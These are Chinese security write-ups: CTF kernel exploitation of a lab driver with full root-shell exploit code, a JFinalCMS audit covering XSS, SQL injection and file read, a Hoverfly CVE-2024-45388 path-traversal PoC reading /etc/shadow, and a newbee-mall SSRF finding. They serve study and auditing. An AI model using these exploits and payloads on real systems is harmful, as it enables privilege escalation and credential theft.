kvm64,+smep,+smap \ kernel Use After Free 利用思路 cred 结构体大小为 0xa8 ,根据 slub 分配机制,如果申请和释放大小为 0xa8(实际为 0xc0 )的内存块,此时再开一个线程,则该线程的 cred 结构题正是刚才释放掉的内存块。利用 UAF 漏洞修改 cred 就可以实现提权。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sys/wait.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    unsigned long idx;// 表示 ptr 数组的 索引 }; int main() {    int fd = open("dev/bof", O_RDWR);    struct param p = {0xa8, malloc(0xa8), 1};    ioctl(fd, BOF_MALLOC, &p);    ioctl(fd, BOF_FREE, &p);    int pid = fork(); // 这个线程申请的cred结构体obj即为刚才释放的obj。    if (pid < 0) {        puts("[-]fork error");        return -1;   }    if (pid == 0) {        p.buf = malloc(p.len = 0x30);        memset(p.buf, 0, p.len);        ioctl(fd, BOF_EDIT, &p); // 修改用户ID        if (getuid() == 0) {            puts("[+]root success");            system("/bin/sh");       } else {            puts("[-]root failed");       }   } else {        wait(NULL);   }    close(fd);    return 0; } 但是此种方法在较新版本 kernel 中已不可行,我们已无法直接分配到 cred_jar 中的 object,这是因为 cred_jar 在创建时设置了 SLAB_ACCOUNT 标记,在 CONFIG_MEMCG_KMEM=y 时(默认开启)cred_jar 不会再与相同大小的 kmalloc-192 进行合并。 // kernel version == 4.4.72 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),     0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); } // kernel version == 4.5 void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); } heap overflow 溢出修改 cred ,和前面 UAF 修改 cred 一样,在新版本失效。多核堆块难免会乱序,溢出之前记得多申请一些0xc0大小的obj,因为我们 freelist 中存在很多之前使用又被释放的obj导致的obj乱序。我们需要一个排列整齐的内存块用于修改。 利用思路 多申请几个0xa8大小的内存块,将原有混乱的freelist 变为地址连续的 freelist。 利用堆溢出,修改被重新申请作为cred的ptr[5]凭证区为0。 exp #include <stdio.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> #include <stdlib.h> #include <sys/wait.h> struct param {    size_t len;    // 内容长度    char *buf;     // 用户态缓冲区地址    long long idx; // 表示 ptr 数组的 索引 }; const int BOF_NUM = 10; int main(void) {    int bof_fd = open("/dev/bof", O_RDWR);    if (bof_fd == -1) {        puts("[-] Failed to open bof device.");        exit(-1);   }    struct param p = {0xa8, malloc(0xa8), 0};    // 让驱动分配 0x40 个 0xa8 的内存块    for (int i = 0; i < 0x40; i++) {        ioctl(bof_fd, 5, &p);  // malloc   }    puts("[*] clear heap done");    // 让驱动分配 10 个 0xa8 的内存块    for (p.idx = 0; p.idx < BOF_NUM; p.idx++) {        ioctl(bof_fd, 5, &p);  // malloc   }    p.idx = 5;    ioctl(bof_fd, 7, &p); // free    // 调用 fork 分配一个 cred结构体    int pid = fork();    if (pid < 0) {        puts("[-] fork error");        exit(-1);   }    // 此时 ptr[4] 和 cred相邻    // 溢出 修改 cred 实现提权    p.idx = 4, p.len = 0xc0 + 0x30;    memset(p.buf, 0, p.len);    ioctl(bof_fd, 8, &p);    if (!pid) {        //一直到egid及其之前的都变为了0,这个时候就已经会被认为是root了        size_t uid = getuid();        printf("[*] uid: %zx\n", uid);        if (!uid) {            puts("[+] root success");            // 权限修改完毕,启动一个shell,就是root的shell了            system("/bin/sh");       } else {            puts("[-] root fail");       }   } else {        wait(0);   }    return 0; } tty_struct 劫持 boot.sh 这道题gadget较少,我们就关了smep保护。 #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 512M \  -nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=1 \  --nographic 利用思路 在 /dev 下有一个伪终端设备 ptmx ,在我们打开这个设备时内核中会创建一个 tty_struct 结构体, ptmx_open (drivers/tty/pty.c) -> tty_init_dev (drivers/tty/tty_io.c)  -> alloc_tty_struct (drivers/tty/tty_io.c) tty 的结构体 tty_srtuct 定义在 linux/tty.h 中。其中 ops 项(64bit 下位于 结构体偏移 0x18 处)指向一个存放 tty 相关操作函数的函数指针的结构体 tty_operations 。其魔数为0x5401 // sizeof(struct tty_struct) == 0x2e0 /* tty magic number */ #define TTY_MAGIC       0x5401 struct tty_struct {   ... const struct tty_operations *ops; ... } struct tty_operations {   ... int (*ioctl)(struct tty_struct *tty,    unsigned int cmd, unsigned long arg);   ... }; 使用 tty 设备的前提是挂载了 ptmx 设备。 mkdir /dev/pts mount -t devpts none /dev/pts chmod 777 /dev/ptmx 所以我们只需要劫持 tty_ops 的某个可触发的操作即可,将其劫持到 get_root 函数处。 exp #include <sys/wait.h> #include <assert.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <unistd.h> #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void *(*commit_creds)(void *) = (void *) 0xffffffff810a1340; size_t init_cred = 0xFFFFFFFF81E496C0; void get_shell() {    system("/bin/sh"); } unsigned long user_cs, user_rflags, user_rsp, user_ss, user_rip = (size_t) get_shell; void save_status() {    __asm__(        "mov user_cs, cs;"        "mov user_ss, ss;"        "mov user_rsp, rsp;"        "pushf;"        "pop user_rflags;"   );    puts("[*]status has been saved."); } size_t kernel_offset; void get_root() {    // 通过栈上残留地址来绕过 KASLR    __asm__(        "mov rbx, [rsp + 8];"        "mov kernel_offset, rbx;"   );    kernel_offset -= 0xffffffff814f604f;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_rsp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } struct param {    size_t len;    // 内容长度    char *buf;     // 用户态缓冲区地址    long long idx; // 表示 ptr 数组的 索引 }; int main(int argc, char const *argv[]) {    save_status();    size_t fake_tty_ops[] = {        0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,        get_root   };    // len buf idx    struct param p = {0x2e0, malloc(0x2e0), 0};    printf("[*]p_addr==>%p\n", &p);    int bof_fd = open("/dev/bof", O_RDWR);    p.len = 0x2e0;    ioctl(bof_fd, BOF_MALLOC, &p);    memset(p.buf, '\xff', 0x2e0);    ioctl(bof_fd, BOF_EDIT, &p);    ioctl(bof_fd, BOF_FREE, &p);    int ptmx_fd = open("/dev/ptmx", O_RDWR);    p.len = 0x20;    ioctl(bof_fd, BOF_READ, &p);    printf("[*]magic_code==> %p -- %p\n", &p.buf[0], *(size_t *)&p.buf[0]);    printf("[*]tty____ops==> %p -- %p\n", &p.buf[0x18], *(size_t *)&p.buf[0x18]);    *(size_t *)&p.buf[0x18] = &fake_tty_ops;    ioctl(bof_fd, BOF_EDIT, &p);    ioctl(ptmx_fd, 0, 0);     return 0; } seq_operations 劫持 boot.sh #!/bin/bash qemu-system-x86_64 \  -initrd rootfs.img \  -kernel bzImage \  -m 512M \  -nographic \  -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kaslr' \  -monitor /dev/null \  -s \  -cpu kvm64 \  -smp cores=1,threads=1 \  --nographic 利用思路 seq_operations 结构如下,该结构在打开 /proc/self/stat 时从 kmalloc-32 中分配。 struct seq_operations { void * (*start) (struct seq_file *m, loff_t *pos); void (*stop) (struct seq_file *m, void *v); void * (*next) (struct seq_file *m, void *v, loff_t *pos); int (*show) (struct seq_file *m, void *v); }; 调用读取 stat 文件时会调用 seq_operations 的 start 函数指针。 ssize_t seq_read(struct file *file, char __user *buf, size_t size, loff_t *ppos) { struct seq_file *m = file->private_data; ... p = m->op->start(m, &pos); ... 当我们在 heap_bof 驱动分配 0x20 大小的 object 后打开大量的 stat 文件就有很大概率在 heap_bof 分配的 object 的溢出范围内存在 seq_operations 结构体。由于这道题关闭了 SMEP,SMAP 和 KPTI 保护,因此我们可以覆盖 start 函数指针为用户空间的提权代码实现提权。至于 KASLR 可以通过泄露栈上的数据绕过。 exp #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <sys/ioctl.h> #include <unistd.h> #include <string.h> struct param {    size_t len;       // 内容长度    char *buf;        // 用户态缓冲区地址    long long idx;// 表示 ptr 数组的 索引 }; const int SEQ_NUM = 0x200; const int DATA_SIZE = 0x20 * 8; #define BOF_MALLOC 5 #define BOF_FREE 7 #define BOF_EDIT 8 #define BOF_READ 9 void get_shell() {    system("/bin/sh"); } size_t user_cs, user_rflags, user_sp, user_ss, user_rip = (size_t) get_shell; void save_status() {    __asm__("mov user_cs, cs;"            "mov user_ss, ss;"            "mov user_sp, rsp;"            "pushf;"            "pop user_rflags;");    puts("[*] status has been saved."); } void *(*commit_creds)(void *) = (void *) 0xFFFFFFFF810A1340; void *init_cred = (void *) 0xFFFFFFFF81E496C0; size_t kernel_offset; void get_root() {    // 通过栈上的残留值绕过KASLR。    __asm__(        "mov rax, [rsp + 8];"        "mov kernel_offset, rax;"   );    kernel_offset -= 0xffffffff81229378;    commit_creds = (void *) ((size_t) commit_creds + kernel_offset);    init_cred = (void *) ((size_t) init_cred + kernel_offset);    commit_creds(init_cred);    __asm__(        "swapgs;"        "push user_ss;"        "push user_sp;"        "push user_rflags;"        "push user_cs;"        "push user_rip;"        "iretq;"   ); } int main() {    save_status();    int bof_fd = open("dev/bof", O_RDWR);    if (bof_fd < 0) {        puts("[-] Failed to open bof.");        exit(-1);   }    struct param p = {0x20, malloc(0x20), 0};    for (int i = 0; i < 0x40; i++) {        ioctl(bof_fd, BOF_MALLOC, &p);   }    memset(p.buf, '\xff', p.len);    ioctl(bof_fd, BOF_EDIT, &p);    // 大量喷洒 seq_ops 结构体。    int seq_fd[SEQ_NUM];    for (int i = 0; i < SEQ_NUM; i++) {        seq_fd[i] = open("/proc/self/stat", O_RDONLY);        if (seq_fd[i] < 0) {            puts("[-] Failed to open stat.");       }   }    puts("[*] seq_operations spray finished.");    // 通过溢出,将附近 seq_ops 的指针修改为 get_root地址。    p.len = DATA_SIZE;    p.buf = malloc(DATA_SIZE);    p.idx = 0;    for (int i = 0; i < DATA_SIZE; i += sizeof(size_t)) {        *(size_t *) &p.buf[i] = (size_t) get_root;   }    ioctl(bof_fd, BOF_EDIT, &p);    puts("[*] Heap overflow finished.");    for (int i = 0; i < SEQ_NUM; i++) {        read(seq_fd[i], p.buf, 1);   }    return 0; }
JFinalcms代码审计
JFinalCms是开源免费的JAVA企业网站开发建设管理系统,极速开发,动态添加字段,自定义标签,动态创建数据库表并crud数据,数据库备份、还原,动态添加站点(多站点功能),一键生成模板代码。 环境布置:IDEA打开项目,等待maven加载好。 使用phpstudy集成的mysql5.7数据库即可,导入JFinalCMS.sql数据库。 修改pom文件: 使用local9.0.90TOMCAT,JDK环境1.8。 运行TOMCAT,打开后台: http://localhost:8081/cms_war_exploded/反射xss: 搜索/admin/login定位到代码块: 由上可见,通过getPara获取账号密码后再通过render渲染到前端页面: 再分析前端代码构造xss进行闭合: 存储xss: 前台存在留言功能,留言会被管理员审核: 登录后台,点击扩展管理,留言信息: 原理同上。 Sql注入漏洞(1): 该CMS存在很多处sql注入漏洞,大多数都是以+直接拼接sql注入语句造成,可以全局搜索+号寻找注入点。 找到以上代码块,可以直接看到title参数通过+直接拼接进入sql语句执行,于是我们继续找前端是调用的什么接口,并看看是否在接受参数时进行了过滤。 搜索findPage参数: 可以看到Contentcontroller层中存在title参数,点进去,定位到具体代码块: 可以看到调用了getPara方法获取传入的title参数,继续跟进getPara方法: 并未重写该方法,只是简单获取参数,未进行任何过滤,回到原来的controller层,向上翻,找到接口调用,数据包如下: POST /cms_war/admin/content/data HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html, \*/\*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Origin: http://localhost:8081 Connection: keep-alive Referer: http://localhost:8081/cms_war/admin/content Cookie: JSESSIONID=EF8BB53892173B8A4577EFC32D0215BA; listQuery=categoryId%3D&title%3D&sorts%3D&pageNumber%3D1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=0 categoryId=&title=%E7%BD%91&sorts=&pageNumber=1 将localhost替换为物理机IP放入sqlmap: 证明存在sql注入漏洞,其对应前端功能如下: Sql注入漏洞(2): 前台搜索框处也存在sql注入漏洞,只不过此处的调用过程较难找到。 如上图搜索关键字search定位到代码块: 仔细分析如上代码,我无法追踪keyword的具体调用。 以上代码是通过setAttr方法直接存储到当前请求的属性当中。我对keyword处打断点调试也未理清楚它后续是如何调用的。 于是再换一种思路,直接全局搜索keyword: 定位到具体代码,但无法确定是否是调用的此处findPage代码来构造sql。 搜索findPage也没有明确思路。 于是改变思路,由于keyword关键字最终是通过模板template渲染调用。 于是在template处挨个点进去找类似功能代码: 最终定位到代码块: 根据注释明确此处代码是根据不同关键词进行搜索,包含关键词keyword,继续查看keyword调用链: 确定是通过调用findPage,传入keyword参数来调用数据: 用sqlmap验证keyword参数: 任意文件读取: 翻找controller层代码,找到文件下载代码块: 可见未对传入的fileKey参数进行过滤,直接拼接进行文件读取。 (且我在翻找filter过滤器后,发现似乎 并未对该路径进行权限校验,可进行未授权调用接口)
Hoverfly 任意文件读取漏洞(CVE-2024-45388)
漏洞简介 Hoverfly 是一个为开发人员和测试人员提供的轻量级服务虚拟化/API模拟/API模拟工具。其 /api/v2/simulation 的 POST 处理程序允许用户从用户指定的文件内容中创建新的模拟视图。然而,这一功能可能被攻击者利用来读取 Hoverfly 服务器上的任意文件。尽管代码禁止指定绝对路径,但攻击者可以通过使用 ../ 段来逃离 hf.Cfg.ResponsesBodyFilesPath 基本路径,从而访问任何任意文件。 环境搭建 我们还是利用 docker 来搭建环境 https://hub.docker.com/r/spectolabs/hoverfly/tagsdocker pull spectolabs/hoverfly:v1.10.2 docker run -d -p 8888:8888 -p 8500:8500 spectolabs/hoverfly:v1.10.2   ‍ 漏洞复现 构造数据包 POST /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded {"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}} PUT /api/v2/simulation HTTP/1.1 Host: 127.0.0.1:8888 Accept: application/json, text/plain, */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:8888/dashboard Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 126 Content-Type: application/x-www-form-urlencoded {"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/shadow"}} ]},"meta":{"schemaVersion":"v5.2"}} 漏洞分析 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#RegisterRoutes 定义了 SimulationHandler 的路由注册方法,路由的每个 HTTP 方法(如 GET 、PUT 、POST 、DELETE 等)都有一个对应的处理函数 (this.Get 、this.Put 、this.Post 、this.Delete 、this.Options 、this.GetSchema )。这些函数处理实际的业务逻辑。 GET /api/v2/simulation: 处理获取模拟数据。 PUT /api/v2/simulation: 处理更新模拟数据。 POST /api/v2/simulation: 处理创建新的模拟数据。 DELETE /api/v2/simulation: 处理删除模拟数据。 OPTIONS /api/v2/simulation: 提供有关 /api/v2/simulation 端点允许的 HTTP 方法的信息。 GET /api/v2/simulation/schema: 获取模拟数据的 schema(结构)。 OPTIONS /api/v2/simulation/schema: 提供有关 /api/v2/simulation/schema 端点允许的 HTTP 方法的信息。 POST 和 PUT 方法 仅仅是函数的第三个参数有所不同,所以两种请求方式都可以实现任意文件读取 hoverfly-1.10.2\core\handlers\v2\simulation_handler.go#addSimulation 第三个参数的不同导致 PUT 方法在获取新的模型内容时,首先删除前一个模拟内容,可以重复读取不同文件内容。POST 仅仅只能读取一次文件内容,无法更新。 hoverfly-1.10.2\core\hoverfly_service.go#PutSimulation hoverfly-1.10.2\core\hoverfly_service.go#putOrReplaceSimulation hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFiles hoverfly-1.10.2\core\hoverfly_funcs.go#readResponseBodyFile 这里就是漏洞产生的关键原因,对传入的参数 filePath 没有做具体的校验,可以通过 ../ 实现跨越目录的读取文件 我们看到最新版已经对传入的参数进行了处理 hoverfly-1.10.4\core\hoverfly_funcs.go#readResponseBodyFile hoverfly-1.10.4\core\util\util.go#ResolveAndValidatePath 这个 ResolveAndValidatePath 函数用于从一个绝对路径(absBasePath )解析一个相对路径(relativePath ),并验证这个相对路径是否合法。具体来说,它确保了相对路径不会尝试向上回溯(使用 ".." ),并且解析后的路径仍然在基路径之下。
一个0day的开端-失败的man与nday
最近在审计java的CMS,跟着文章进行nday审计,找准目标newbee-mall Version1.0.0(新蜂商城系统),并跟着网上文章进行审计: https://blog.csdn.net/m0_46317063/article/details/131538307下载唯一的版本,且源码README中版本也对的上,但没想到nday全部复现失败,但在一番审计后找到了一个新的漏洞点:ssrf,且在前台可以被用户触发。 失败的man与nday: 失败的sql注入漏洞: (此漏洞原本可以在前台与后台进行sql注入攻击) 分析文章中有两sql注入漏洞,是由于引入mybatis依赖导致,但在我下的版本中根据关键字符${找不到任何的注入点,经过与分析文章对比发现所有注入点全部由${改成了#{由此完成修复。 失败的权限绕过: (此漏洞原本可以在admin登录后台通过/;/admin/test完成权限绕过) 复现文章写到以request.getRequestURI()获取路径获取路径后再进入if判断: 但我下载的版本进行了修复:将获取前端传输的路径方法改为了:getServletPath()从而完成修复。 两种方法的不同具体分析可以参考如下文章: https://forum.butian.net/share/3730失败的越权漏洞: (此漏洞原本可以根据传入的id参数越权修改他人信息。) 定位到具体代码: 此处代码与复现文章一样,都是先创建一个NewBeeMallUserVO对象,再通过是否为空判断信息修改是否成功。 真正修改信息的代码在updateUserInfo方法里面,于是跟进该方法实现处: 发现跟到了接口,于是我们继续跟进,找该接口的实现类: 跟进到如下类,找到具体实现的代码块: 复现文章代码在进入if判断前只有一行代码,并且代码逻辑是从前端传入的id值进行信息修改,但可以看到我下载的代码有两行: NewBeeMallUserVO userTemp = (NewBeeMallUserVO)httpSession.getAttribute(Constants.MALL_USER_SESSION_KEY); 首先通过http.Session获取当前用户,再赋给创建的userTemp对象。 MallUser userFromDB =mallUserMapper.selectByPrimaryKey(userTemp.getUserId()); 再从userTemp对象中获取id值进行信息修改,而非从前端请求中获取参数id的值,来完成漏洞修复。 0day的发现: 登录后台,点击修改或者添加商品: 随意传入图片后点击保存并抓包。 将POST数据包如上两个参数修改为dnslog地址,放包,在商城前台搜索该商品名称。 点击访问,dns平台出现记录。 漏洞代码分析: 先看看商品信息存储过程: 根据接口定位代码块: 可以发现在接受参数后进行是否为空判断后进入了核心方法updateNewBeeMallGoods,跟进: 跟到接口后再找到接口实现类,最后定位到更新信息代码块。 可以看到,仅仅对传入参数值进行为空判断和相同判断后,便调用set方法进行存储。 接下来再看看商品信息调用代码链。 根据触发漏洞的数据包接口定位代码块: 此处代码根据传入goodsid参数,将商品渲染到前端,也就是搜索商品后,见到商品那刻触发漏洞。 对接受goodsid参数是否<1判断后进入取商品信息代码。 跟进getNewBeeMallGoodsById方法,找到方法接口后再找接口实现类,再找方法: 发现goodsid参数传入selectByPrimaryKey方法。 该方法通过数据访问对象(DAO)goodMapper调用,且在方法最前处由NewBeeMallGoodsMapper对其定义: 全局搜索,找到对应xml文件: 发现通过id参数对数据库操作,取出goodsCoverImg与goodsCarousel参数。 回到最先前的类: 此时goods对象已经获取商品相关参数值。 再进入if判断商品是否上架,上架则进入下一轮代码,将商品信息封装为视图模型,找到NewBeeMallGoodsDetailVO类,发现只接受了goodsCoverImg参数,也就是先前抓包修改处只用修改该参数即可: 最后返回视图名称"mall/detail",表示渲染商品详情页面: 由于存储时未做任何过滤,进行视图层渲染时直接拿出goodsCoverImg参数放到前端,导致用户一旦访问商品便触发该漏洞。